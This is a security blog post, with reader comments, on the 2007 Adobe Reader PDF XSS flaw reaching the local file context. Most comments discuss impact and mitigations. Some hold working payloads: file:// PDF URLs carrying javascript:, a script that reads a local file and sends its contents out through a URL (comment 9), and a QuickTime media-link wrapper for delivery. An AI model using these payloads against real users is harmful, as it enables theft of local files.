Paid Advertising
web application security lab

PDF XSS Can Compromise Your Machine

Okay, I spent exactly 5 minutes looking at my machine before I found a default file that is included with Adobe Acrobat Reader 7.0. It’s located at file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf and it is a valid location. Great. So let’s see if it’s vulnerable to the XSS DOM injection:


Hmmm… It would appear that Adobe Acrobat has now created a local JavaScript issue for Firefox and Opera users. I’m sure there are other default locations for other versions of Adobe Acrobat. Very scary stuff.

33 Responses to “PDF XSS Can Compromise Your Machine”

  1. Kyran Says:

    Quoted from my post at the Opera forums.

    “Tools -> Preferences -> Advanced -> Downloads -> Uncheck the box there -> Type “pdf” into the quick search box -> Click the pdf result. -> Edit -> Save to Disk”

    It will make any file with the pdf extension, prompt for download, as opposed to the possibility of it opening in the browser.

    It also protects against the PoC in this post.

  2. Andrew Says:

    Fix for Firefox:

    Tools -> Options… -> Content tab -> “Manage” button -> select PDF -> ‘Change Action’ -> check ‘Save them on my computer’

    If not within Acrobat itself, you may use (for example) a default Photoshop install as a vector:

    file:///c:/Program Files/Adobe/Photoshop CS/Third Party License.pdf#blah=javascript:alert(”XSS”);

  3. Ghozt Says:

    Universal fix:

  4. lamer Says:

    too bad you can’t do:

    javascript:eval(’var x=new ActiveXObject(”Shell.Application”);x.ShellExecute(”notepad.exe”, “”, “”, “open”, 1);’);

    it’s not IE :(

  5. kuza55 Says:

    Just to make sure I’m understanding this correctly, the ramifications of having a local XSS vulnerability is that now a person can read any files you have on your computer, right? Or am I over-estimating what this means?

  6. Operation n » Adobe Universal XSS Just Got Worse Says:

    […] Rsnake was playing (he says for 5 minutes, I bet it was longer), and verified that this XSS attack can be extended to the local browser context. This makes this attack even worse! Not only is this attack universal but it can now exploit localhost too! Nice find RSnake. […]

  7. David Kierznowski Says:

    RSnake, nice addition to increasingly gloomy situation :)

  8. .mario Says:

    Try this one:



  9. Tbiehn Says:

    Mine’s better :P
    file:///C:/Program Files/Adobe/Acrobat 6.0/Resource/ENUtxt.pdf#something=javascript:function cXHR(){try{return new ActiveXObject(’Msxml2.XMLHTTP’);}catch(e){}try{return new ActiveXObject(’Microsoft.XMLHTTP’);}catch(e){}try{return new XMLHttpRequest();}catch(e){} return null;}var xhr = cXHR();xhr.onreadystatechange = function(){if (xhr.readyState == 4){alert(xhr.responseText);window.location = “http://localhost:80/whatever.htm?content=” + xhr.responseText;}};’GET’, ‘file:///C:/Program Files/Adobe/Acrobat 6.0/ReadMe.htm’, true);xhr.send(null);

    function cXHR(){ //Grabs a legit XHR.
    return new ActiveXObject(’Msxml2.XMLHTTP’);
    return new ActiveXObject(’Microsoft.XMLHTTP’);
    return new XMLHttpRequest();
    return null;
    var xhr = cXHR(); //For grabbing
    xhr.onreadystatechange = function(){
    if (xhr.readyState == 4){
    window.location = “http://localhost:80/whatever.htm?content=” + xhr.responseText;
    };’GET’, ‘file:///C:/Program Files/Adobe/Acrobat 6.0/ReadMe.htm’, true);

    Sends a local file to a remote location (not stealthy, but can be made to do so.)

  10. RSnake Says:

    More details and discussion here:,4785

  11. Jungsonn Says:

    I don’t have Acrobat stuff nor a C: stuff disk on my browsing PC, does this also works on linux pdf progs? I haven’t tryed it yet.

  12. RSnake Says:

    Nice solution for Apache from Martin O’Neal:

    <IfModule mod_headers.c>
      <FilesMatch "\.pdf$">
        Header append Content-disposition "attachment;"

  13. newsham Says:

    How does an apache filter stop you from clicking on a file:// URL?

  14. RSnake Says:

    pdp’s suggestion for releasing this to the wild is using a QTL file with mp3, mp4, mov, avi extension:

    <?xml version="1.0">
    <?quicktime type="application/x-quicktime-media-link"?>
    <embed src="a.mp3" autoplay="true" qtnext="file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#a=javascript:your_code_here"/>

  15. Depressive Developer Says:

    PDF UXSS wird persönlich…

    Nachdem der PDF XSS - von machen auch UXSS (Universal XSS) genannt - in den letzten Tagen für einige Furore sorgte, stellte RSnake von vor einigen Stunden einen Blogpost online, der einen POC enthielt, mit dem das ganze auch mit einem zum…

  16. RSnake Says:

    newsham, it doesn’t, that was in reference to the original bug where you can compromise other machines that host PDFs. No no, with my bug you’re still screwed. :) Sorry, yah, that was confusing, I now see - I should have posted that on the other blog post.

  17. Andy Says:

    I was under the impression that the FireFox security model doesn’t allow http sites to call file:/// links.

    Is there a handy matrix somewhere that lists whether certain browser versions are vulnerable to this type of link? I know that most of not all IE versions don’t have the prohibition of this type of link, but I don’t recall the exact circumstances of it.

    Looks like the default medium security setting in IE-7 doesn’t allow file:/// links via an HTTP page either.

    Can someone confirm who is vulnerable to this?

  18. RSnake Says:

    That’s correct, Andy, that’s why pdp suggested using the QTL hack (above).

  19. Rooter » Ataque PDF (II): Y en tu propia computadora Says:

    […] El preocupante descubrimiento ha sido realizado por Rsnake. […]

  20. Jungsonn Says:

    I made my own apache patch:

    RewriteEngine On
    RewriteRule .*\.(pdf)$ index.php [L]

  21. RSnake Says:

    Unless you block all PDFs that approach won’t work. Apache cannot see anchor tags since they are not passed to the web-server.

  22. John Dowdell Says:

    Sorry for the delay, but the Adobe Security Advisory is up on this, with best info:

    tx, jd/adobe

  23. Jungsonn Says:

    Yeah your right, I forgot that the anchor isn’t being send. Weird thing though, that I manged to bock it a couple of times. Still, don’t know why that happend, it shoudn’t do that.

  24. RSnake Says:

    Thanks John! This is good info! Do you know if the browser companies are considering a patch at all? It seems like passing a JavaScript directive to a PDF file would be a fairly trivial thing to patch in the browsers but they have been awfully quiet about this. Any information on the mitigation process would be welcome.

  25. flyingpenguin » Blog Archives » PDF XSS hits the fan Says:

    […] is discussed here, and some comments point to a firefox fix. Posted in Security | Trackback | | Top OfPage […]

  26. John Dowdell Says:

    I hesitate to speak for the various browser vendors. From the press coverage it seems like some browsers have already moved to checking domains for JavaScript requests passed along from plugin content. I don’t think that Adobe Reader is the only plugin which can convey such JS requests to the browser, and so I’d imagine that all browsers would move to confirm the domain of operation. But I’d have to defer to the browser makers themselves for info on their changes, sorry.

    tx, jd/adobe

  27. RSnake Says:

    Thanks, John, which press articles are you talking about in particular? I hadn’t seen anything specifically published on the topic, but I’m sure I’ve missed things along the way. You’ve been very helpful thus far, and I’m sure we all appreciate that!

  28. Mighty Seek - Web Application Security Podcast and Blog » Blog Archive » Universal PDF XSS Says:

    […] Cross Site scripting attacks are getting even more dangerous these days, and exploitable in many new creative ways. I wil be discussing this issue in my next podcast, till then read up on it here or at […]

  29. Javascript Vulnerability Affects Adobe’s Acrobat Reader - Random Abyss - Entertaining Internet Users Since May, 2006! Says:

    […] Adobe’s most popular product, Acrobat Reader, has been revealed to contain a vulnerability that involves the insertion of Javascript into the open parameters Acrobat Reader plugin, allowing for phishing, etc. According to this website, you need not visit the malicious website in order for the cross-site scripting DOM issue to be exploited. For example, click this for an example. The link simply links to C:/Program files/Adove/Acrobat 7.0/Resource/ENUtxt.pdf#test=javascript:alert(’This is an example’);. You can obviously insert malicious Javascript into the link. […]

  30. RSnake Says:

    A nice paper on this here (better late than never) that explains the issue and mitigation techniques: (Anti-PDF-XSS Actions 9. Februar 2007)

  31. kuza55 Says:

    The same attack that can be used to OWASP/Aspect Security’s solution ( also applies to that paper as well.

    Browser security is really, really screwed.

  32. J@§¤ñ’s Stack Trace » Blog Archive » XSS in virtually every web site Says:

    […] There have been some new discoveries as well. It’s also possible to exploit this problem to read a users’ files. This attack now extends beyond Cross-site scripting. It may be possible to completely “own” a box by taking advantage of this flaw. […]

  33. Adboe Apollo Alpha is out < Nothing to see here… Says:

    […] hesitant of the possibility of an XSS being able to compromise my computer, like Adobe has already had a problem with, but that hopefully will be an unfounded fear, for at least a little […]